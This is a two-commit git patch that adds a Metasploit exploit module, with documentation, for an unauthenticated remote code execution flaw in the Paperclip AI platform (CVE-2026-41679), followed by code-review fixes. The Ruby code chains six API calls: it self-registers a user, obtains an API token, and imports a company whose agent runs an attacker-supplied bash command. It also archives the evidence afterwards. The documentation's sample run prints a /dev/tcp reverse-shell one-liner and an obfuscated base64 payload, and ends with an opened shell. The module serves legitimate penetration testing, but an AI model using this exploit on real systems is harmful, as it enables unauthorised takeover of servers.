From fb63aab4294a7295533f7e9b91b1d7bbf03f4320 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 7 Jun 2026 11:39:14 +0000 Subject: [PATCH 1/2] init commit module and documentation --- .../paperclipai_unauth_rce_cve_2026_41679.md | 92 ++++++ .../paperclipai_unauth_rce_cve_2026_41679.rb | 269 ++++++++++++++++++ 2 files changed, 361 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679.md create mode 100644 modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb diff --git a/documentation/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679.md b/documentation/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679.md new file mode 100644 index 0000000000000..30defbce12983 --- /dev/null +++ b/documentation/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679.md @@ -0,0 +1,92 @@ +## Vulnerable Application +Paperclip is the operating system for your AI company. +You set the goals, hire AI agents as employees, and watch them plan and execute work. +Prior to version `2026.410.0`, Paperclip allows for an unauthenticated RCE. +An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip +instance running in authenticated mode with default configuration. The entire chain is six API calls. + +The following Paperclip release has been tested: +* Paperclip 2026.403.0 running on MacOS Tahoe 26.1 + +See also this [attackerkb article](https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679) for more info. + +## Installation +### Installation steps to install the Paperclip application +* Either use an fresh Ubuntu 22.04 installation or a Mac. +* Here are the installation instructions for [Paperclip](https://docs.paperclip.ing/#/guides/getting-started/installation). +* Below are some small tips for installation: +* Follow the instructions for Terminal (developer). +* Use `npx paperclipai@2026.403.0 onboard --yes` to download, install and configure Paperclip. +* To configure it in authenticated mode, locate the configuration file `~/.paperclip/instances/default/config.json`. +* Change from +```json + { + "deploymentMode": "local_trusted" + } +``` +* to +```json + { + "deploymentMode": "authenticated" + } +``` +* Start and run Paperclip with `npx paperclipai@2026.403.0 run`. It will accessibe on `http://localhost:3100`. +* When configured in `authenticated` mode, you need to define a instance admin account before you can use the application. +* You can also use `npx paperclipai@2026.403.0 allowed-hostname ` to configure Paperclip to use your server ip. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=Unix/Linux Command>` +- [ ] `exploit` + +you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings. + +## Options +No additional options defined. + +## Scenarios +### Paperclip 2026.403.0 on MacOS Tahoe 26.1 +```msf +msf > use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679 +[*] Using configured payload cmd/unix/reverse_bash +msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set rhosts 192.168.201.29 +rhosts => 192.168.201.29 +msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set verbose true +verbose => true +msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > exploit +[+] bash -c '0<&57-;exec 57<>/dev/tcp/192.168.201.8/4444;sh <&57 >&57 2>&57' +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Paperclip version 2026.403.0 +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Step 1: sign-up and register a new user. +[+] user => donna.anderson@b98bl2b.y.gcj.g8o0l4yj7.ev8ji.com, password => YClakwnIwaxPdvfJ4 +[*] Step 2: sign-in with the new user credentials and get a session-cookie. +[+] cookie => better-auth.session_token=dXyuEL51jpbux84ZcFt5tKhpkccrIG3w.tbyRkK5jHNSkqYg0azqD1cmnD4879UG7Yxrzl%2BLf8Xs%3D; +[*] Step 3: Create a CLI challenge and generate an API token. +[+] API token => pcp_board_3630f4ff9961a1e327a76a179d9d844c6fdbfa104022c149 +[*] Step 4: Approve the challenge in your session. +[*] Step 5: Create a company and deploy an agent with payload via import (authorization bypass). +[+] payload => echo${IFS}YmFzaCAtYyAnMDwmMTk3LTtleGVjIDE5Nzw+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0O3NoIDwmMTk3ID4mMTk3IDI+JjE5Nyc= +|((command${IFS}-v${IFS}base64>/dev/null&&(base64${IFS}--decode||base64${IFS}-d)) +||(command${IFS}-v${IFS}openssl>/dev/null&&openssl${IFS}enc${IFS}-base64${IFS}-d))|sh +[+] company_id => 0dfdd6c2-af68-49c0-8262-e0d9f73788c6, agent_id => 764300d9-eeaf-4004-b0f4-00427c867c1c +[*] Step 6: Run the agent and trigger the payload. You should get a session now ;-). +[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.29:58473) at 2026-06-07 11:16:32 +0000 +[*] Cleaning up the mess... +[+] Company and agent payload has been successfully archived. + +uname -a +Darwin MacBook-Pro-2.local 25.1.0 Darwin Kernel Version 25.1.0: Mon Oct 20 19:26:51 PDT 2025; root:xnu-12377.41.6~2/RELEASE_X86_64 x86_64 +``` + +## Limitations +No limitations. diff --git a/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb b/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb new file mode 100644 index 0000000000000..8b5ce32e0f97e --- /dev/null +++ b/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb @@ -0,0 +1,269 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Paperclip AI remote code execution using a chain of six API calls.', + 'Description' => %q{ + Paperclip is the operating system for your AI company. + You set the goals, hire AI agents as employees, and watch them plan and execute work. + Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE. + An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip + instance running in authenticated mode with default configuration. The entire chain is six API calls. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sagilayani https://github.com/sagilayani' # Discovery + ], + 'References' => [ + ['CVE', '2026-41679'], + ['GHSA', 'GHSA-68qg-g8mg-6pr7'], + ['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'osx'], + 'Privileged' => false, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux', 'osx'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'Payload' => { + 'Encoder' => 'cmd/base64', + 'BadChars' => "\x20" # no space + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-04-10', + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 3100 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/']) + ]) + end + + # Check if Paperclip instance is running and get the Paperclip version if published + # return version number or 'N/A' (NOT AVAILABLE) else nil + def get_paperclip_version + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'health') + }) + return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode') + + # check for version + if res.body.include?('version') + res_json = res.get_json_document + res_json['version'] unless res_json.blank? + else + 'N/A' + end + end + + # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls + def execute_payload(cmd, _opts = {}) + # randomize email address, name and password to be used in POST requests + email = Rex::Text.rand_mail_address + email_array = email.split('@') + name = email_array[0].split('.')[0] + password = Rex::Text.rand_text_alphanumeric(12..20) + + # 1. sign-up and register with a new user and password + vprint_status('Step 1: sign-up and register a new user.') + vprint_good("user => #{email}, password => #{password}") + post_data = { + email: email.to_s, + password: password.to_s, + name: name.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'), + 'ctype' => 'application/json', + 'data' => post_data.to_s + }) + return unless res&.code == 200 && res.body.include?('createdAt') + + # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header. + vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.') + post_data = { + email: email.to_s, + password: password.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'), + 'ctype' => 'application/json', + 'data' => post_data.to_s + }) + return unless res&.code == 200 && res.get_cookies && res.body.include?('token') + + cookie = res.get_cookies + vprint_good("cookie => #{cookie}") + + # 3. create a CLI challenge and grab the id, token and boardApiToken + vprint_status('Step 3: Create a CLI challenge and generate an API token.') + command = Rex::Text.rand_text_alpha(6..8) + post_data = { + command: command.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'), + 'ctype' => 'application/json', + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id') + + res_json = res.get_json_document + return if res_json.blank? + + id = res_json['id'] + token = res_json['token'] + @board_api_token = res_json['boardApiToken'] + vprint_good("API token => #{@board_api_token}") + + # 4. Approve in your own session using the token, id and session cookie + # We will need to add the Origin header for next API calls otherwise they will fail + vprint_status('Step 4: Approve the challenge in your session.') + + @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}" + post_data = { + token: token.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'), + 'headers' => { + 'Origin' => @origin + }, + 'cookie' => cookie.to_s, + 'ctype' => 'application/json', + 'data' => post_data.to_s + }) + return unless res&.code == 200 && !res.body.include?('error') + + # 5. Create a company and deploy an agent via import (authorization bypass) + # This will configure the payload that will be executed by the process agent + vprint_status('Step 5: Create a company and deploy an agent with payload via import (authorization bypass).') + vprint_good("payload => #{cmd}") + post_data = { + source: { + type: 'inline', + files: { + 'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx", + 'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx", + '.paperclip.yaml': "agents:\n 007:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - #{cmd}" + } + }, + target: { mode: 'new_company', newCompanyName: 'MI6' }, + include: { company: true, agents: true }, + agents: 'all' + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'), + 'headers' => { + 'Authorization' => "Bearer #{@board_api_token}", + 'Origin' => @origin + }, + 'ctype' => 'application/json', + 'data' => post_data.to_s + }) + return unless res&.code == 200 && res.body.include?('id') + + res_json = res.get_json_document + return if res_json.blank? + + agent = res_json['agents']&.first + agent_id = agent&.dig('id') + @company_id = res_json['company']['id'] + vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}") + + # 6. Run the agent and trigger the payload + vprint_status('Step 6: Run the agent and trigger the payload. You should get a session now ;-).') + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'), + 'headers' => { + 'Authorization' => "Bearer #{@board_api_token}", + 'Origin' => @origin + }, + 'ctype' => 'application/json', + 'data' => nil + }) + end + + # try to archive the company and agent payload to cover our tracks + def cleanup + super + # check if payload should be cleaned + unless @company_id.nil? + vprint_status('Cleaning up the mess...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'), + 'headers' => { + 'Authorization' => "Bearer #{@board_api_token}", + 'Origin' => @origin + }, + 'ctype' => 'application/json' + }) + if res&.code == 200 && res.body.include?('archived') + print_good('Company and agent payload has been successfully archived.') + else + print_warning('Company and agent payload not archived. Try to remove it manually.') + end + end + end + + def check + version = get_paperclip_version + return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil? + return CheckCode::Detected('No Paperclip version found.') if version == 'N/A' + + version = Rex::Version.new(version) + if version >= Rex::Version.new('2026.410.0') + return CheckCode::Safe("Paperclip version #{version}") + end + + CheckCode::Appears("Paperclip version #{version}") + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + execute_payload(payload.encoded) + end +end From 69df9d732bc0bae5761b016b40b830084dac57ab Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 10 Jun 2026 20:17:46 +0000 Subject: [PATCH 2/2] update based on jheysel-r7 code review suggestions --- .../paperclipai_unauth_rce_cve_2026_41679.rb | 45 ++++++++++++------- 1 file changed, 30 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb b/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb index 8b5ce32e0f97e..685262f3ad1c0 100644 --- a/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb +++ b/modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb @@ -13,11 +13,11 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Paperclip AI remote code execution using a chain of six API calls.', + 'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).', 'Description' => %q{ Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work. - Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE. + Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679. An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. The entire chain is six API calls. }, @@ -41,9 +41,6 @@ def initialize(info = {}) 'Platform' => ['unix', 'linux', 'osx'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash' - }, 'Payload' => { 'Encoder' => 'cmd/base64', 'BadChars' => "\x20" # no space @@ -110,7 +107,10 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => post_data.to_s }) - return unless res&.code == 200 && res.body.include?('createdAt') + unless res&.code == 200 && res.body.include?('createdAt') + print_error('Step 1 failed: sign-up and register a new user.') + return + end # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header. vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.') @@ -125,13 +125,16 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => post_data.to_s }) - return unless res&.code == 200 && res.get_cookies && res.body.include?('token') + unless res&.code == 200 && res.get_cookies && res.body.include?('token') + print_error('Step 2 failed: sign-in with new user credentials.') + return + end cookie = res.get_cookies vprint_good("cookie => #{cookie}") # 3. create a CLI challenge and grab the id, token and boardApiToken - vprint_status('Step 3: Create a CLI challenge and generate an API token.') + vprint_status('Step 3: create a CLI challenge and get an API token.') command = Rex::Text.rand_text_alpha(6..8) post_data = { command: command.to_s @@ -143,7 +146,10 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => post_data.to_s }) - return unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id') + unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id') + print_error('Step 3 failed: create CLI challenge and get an API token.') + return + end res_json = res.get_json_document return if res_json.blank? @@ -155,7 +161,7 @@ def execute_payload(cmd, _opts = {}) # 4. Approve in your own session using the token, id and session cookie # We will need to add the Origin header for next API calls otherwise they will fail - vprint_status('Step 4: Approve the challenge in your session.') + vprint_status('Step 4: approve the challenge in your session.') @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}" post_data = { @@ -172,11 +178,14 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => post_data.to_s }) - return unless res&.code == 200 && !res.body.include?('error') + unless res&.code == 200 && !res.body.include?('error') + print_error('Step 4 failed: approve the challenge in your session.') + return + end # 5. Create a company and deploy an agent via import (authorization bypass) # This will configure the payload that will be executed by the process agent - vprint_status('Step 5: Create a company and deploy an agent with payload via import (authorization bypass).') + vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).') vprint_good("payload => #{cmd}") post_data = { source: { @@ -202,7 +211,10 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => post_data.to_s }) - return unless res&.code == 200 && res.body.include?('id') + unless res&.code == 200 && res.body.include?('id') + print_error('Step 5 failed: create a company and deploy an agent with payload via import.') + return + end res_json = res.get_json_document return if res_json.blank? @@ -213,8 +225,8 @@ def execute_payload(cmd, _opts = {}) vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}") # 6. Run the agent and trigger the payload - vprint_status('Step 6: Run the agent and trigger the payload. You should get a session now ;-).') - send_request_cgi({ + vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).') + res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'), 'headers' => { @@ -224,6 +236,9 @@ def execute_payload(cmd, _opts = {}) 'ctype' => 'application/json', 'data' => nil }) + unless res&.code == 202 + print_error('Step 6 failed: run the agent and trigger the payload.') + end end # try to archive the company and agent payload to cover our tracks